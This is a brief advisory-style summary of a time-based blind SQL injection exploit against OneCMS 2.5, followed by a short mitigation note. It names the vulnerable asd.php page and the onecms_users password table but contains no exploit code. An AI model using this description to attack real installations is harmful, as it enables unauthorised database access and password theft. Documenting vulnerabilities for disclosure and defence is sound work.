OneCMS 2.5 Remote Blind SQL Injection Exploit

This exploit is used to gain access to the OneCMS 2.5 database by exploiting a blind SQL injection vulnerability. The exploit uses a POST request to the asd.php page with a crafted SQL query to extract the password from the onecms_users table. The exploit uses a time-based approach to determine the value of each character in the password.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.
